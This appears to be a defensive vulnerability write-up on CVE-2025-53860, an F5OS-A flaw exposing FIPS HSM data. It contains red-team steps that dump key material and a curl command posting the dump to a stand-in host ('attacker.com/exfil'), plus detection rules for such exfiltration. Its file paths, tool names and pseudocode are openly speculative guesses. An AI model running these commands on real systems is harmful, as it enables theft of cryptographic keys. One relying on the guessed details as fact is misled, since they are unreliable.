CVE-2025-53860

Executive Summary

CVE-2025-53860 is a vulnerability in F5OS-A software affecting F5 rSeries systems. It allows a highly privileged authenticated attacker to access sensitive FIPS Hardware Security Module (HSM) information. The vulnerability has a CVSS score of 4.1 (Medium), with a vector indicating local access, high attack complexity, and high privileges required. The impact is limited to confidentiality (High), with no impact on integrity or availability. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status is unknown. The EPSS score is 0.0%, suggesting a low probability of exploitation in the wild at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 4.1 (Medium)
• Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): High (H) – Successful exploitation depends on conditions beyond the attacker's control, such as specific system configurations or timing.
• Privileges Required (PR): High (H) – The attacker needs highly privileged (e.g., root or administrative) access.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Complete disclosure of HSM information.
• Integrity (I): None (N) – No impact on data integrity.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The high privilege requirement and local access significantly reduce the attack surface, but the potential exposure of FIPS HSM keys could lead to severe cryptographic compromise.

Deep Dive & Mechanics

The vulnerability resides in the F5OS-A software stack, specifically in how it manages and exposes FIPS Hardware Security Module (HSM) information. F5 rSeries appliances use HSMs to store cryptographic keys securely. The flaw allows a highly privileged authenticated user (e.g., root or admin) to read sensitive HSM data, such as key material, certificates, or configuration parameters, that should be restricted.

Root Cause: The software likely fails to properly enforce access controls on HSM-related system calls, files, or APIs. For example, a diagnostic tool or debug interface might expose HSM data without adequate authorization checks beyond the initial login.

Attack Vector: An attacker with high privileges (e.g., via compromised admin credentials or insider threat) can execute commands or access files that leak HSM information. This could be done through:

• Reading /proc or /sys filesystem entries related to the HSM.
• Invoking proprietary F5OS-A commands that dump HSM state.
• Exploiting a race condition or improper permission handling in HSM management daemons.

Impact: Exposure of FIPS HSM keys could allow the attacker to decrypt traffic, forge signatures, or impersonate the device, undermining the entire cryptographic trust model.

Vulnerable vs. Patched Code

No specific code snippets are available due to the proprietary nature of F5OS-A. However, a typical vulnerable pattern might involve:

Vulnerable (pseudocode):

// HSM diagnostic tool
int dump_hsm_info() {
    // No privilege check beyond initial authentication
    FILE *hsm_file = fopen("/sys/hsm/keys", "r");
    if (hsm_file) {
        char buffer[1024];
        while (fgets(buffer, sizeof(buffer), hsm_file)) {
            printf("%s", buffer); // Exposes key material
        }
        fclose(hsm_file);
    }
    return 0;
}

Patched (pseudocode):

int dump_hsm_info() {
    // Check for additional capability
    if (!has_capability(CAP_HSM_READ)) {
        log_error("Insufficient privileges to read HSM info");
        return -1;
    }
    FILE *hsm_file = fopen("/sys/hsm/keys", "r");
    if (hsm_file) {
        char buffer[1024];
        while (fgets(buffer, sizeof(buffer), hsm_file)) {
            // Only log, not display
            log_debug("HSM key data: %s", buffer);
        }
        fclose(hsm_file);
    }
    return 0;
}

The patch would involve adding granular capability checks (e.g., Linux capabilities) or mandatory access controls (e.g., SELinux) to restrict HSM data access to only authorized processes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an F5 rSeries system running vulnerable F5OS-A.
• High-privilege credentials (e.g., root or admin).

Exploitation Steps:

1. Gain Access: Obtain high-privilege access via phishing, credential theft, or insider threat.
2. Identify HSM Interfaces: List available HSM-related commands and files:

   ls -la /sys/hsm/
   find /proc -name "*hsm*"
   f5os-hsm-tool --help
   

3. Extract HSM Information: Execute commands to dump HSM data:

   cat /sys/hsm/keys
   f5os-hsm-tool --dump-all
   

4. Exfiltrate Data: Transfer the extracted HSM information to an external server:

   curl -X POST -d @/tmp/hsm_dump.txt https://attacker.com/exfil
   

Expected Outcome: The attacker obtains FIPS HSM keys, enabling decryption of TLS traffic, forging of digital signatures, or impersonation of the F5 device.

Blue Team

Detection:

• Monitor for unusual access to HSM-related files or commands.
• Alert on execution of f5os-hsm-tool or similar diagnostic tools by non-authorized users.
• Track file reads from /sys/hsm/ or /proc/hsm/ paths.

Mitigation:

• Restrict high-privilege accounts using the principle of least privilege.
• Implement additional access controls (e.g., SELinux policies) to limit HSM data access.
• Enable audit logging for all HSM-related operations.
• Regularly rotate HSM keys if compromise is suspected.

Lab Setup:

• Use an F5 rSeries virtual appliance or physical device in an isolated lab.
• Configure FIPS mode and generate test HSM keys.
• Create a non-root user with sudo privileges to simulate the attacker.

Indicators of Compromise (IOCs)

• File Access: Unauthorized reads of /sys/hsm/keys, /proc/hsm/*, or similar paths.
• Process Execution: Execution of f5os-hsm-tool, hsm_dump, or custom scripts accessing HSM data.
• Network Traffic: Outbound connections from the F5 device to unknown IPs, especially with large data transfers.
• Log Entries: Audit logs showing CAP_HSM_READ or SELinux denials for HSM-related operations.
• System Calls: Unusual open() or read() calls on HSM device files (e.g., /dev/hsm0).

Detection Engineering

YARA Rule

rule CVE_2025_53860_HSM_Exfil {
    meta:
        description = "Detects attempts to exfiltrate F5 HSM key material"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53860"
    strings:
        $hsm_path = "/sys/hsm/keys" nocase
        $hsm_tool = "f5os-hsm-tool" nocase
        $hsm_dump = "hsm_dump" nocase
        $curl_exfil = "curl -X POST" nocase
    condition:
        any of ($hsm_path, $hsm_tool, $hsm_dump) or
        ($curl_exfil and filesize < 10MB)
}

Sigma Rule

title: F5 HSM Information Disclosure Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to access F5 HSM sensitive information
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53860
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/f5os-hsm-tool'
            - '/hsm_dump'
        CommandLine|contains:
            - '/sys/hsm/'
            - '/proc/hsm/'
    condition: selection
falsepositives:
    - Legitimate administrative tasks by authorized personnel
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53860 F5 HSM Data Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"hsm"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Privileged Access: Limit the number of users with root or admin access to F5 rSeries systems.
2. Enable Auditing: Configure auditd to log all access to HSM-related files and commands.
3. Apply Workarounds: If possible, disable HSM diagnostic tools or restrict their execution via sudoers or SELinux.

Long-Term Fix:

• Apply the official patch from F5 when available (currently UNKNOWN).
• Upgrade to a patched version of F5OS-A.
• Implement mandatory access controls (e.g., SELinux) to prevent unauthorized HSM data access.

Compromise Recovery:

• If HSM keys are suspected compromised, immediately rotate all cryptographic keys stored in the HSM.
• Reissue certificates and re-establish VPN/SSL connections.
• Conduct a full forensic investigation to determine the scope of the breach.

Valters IT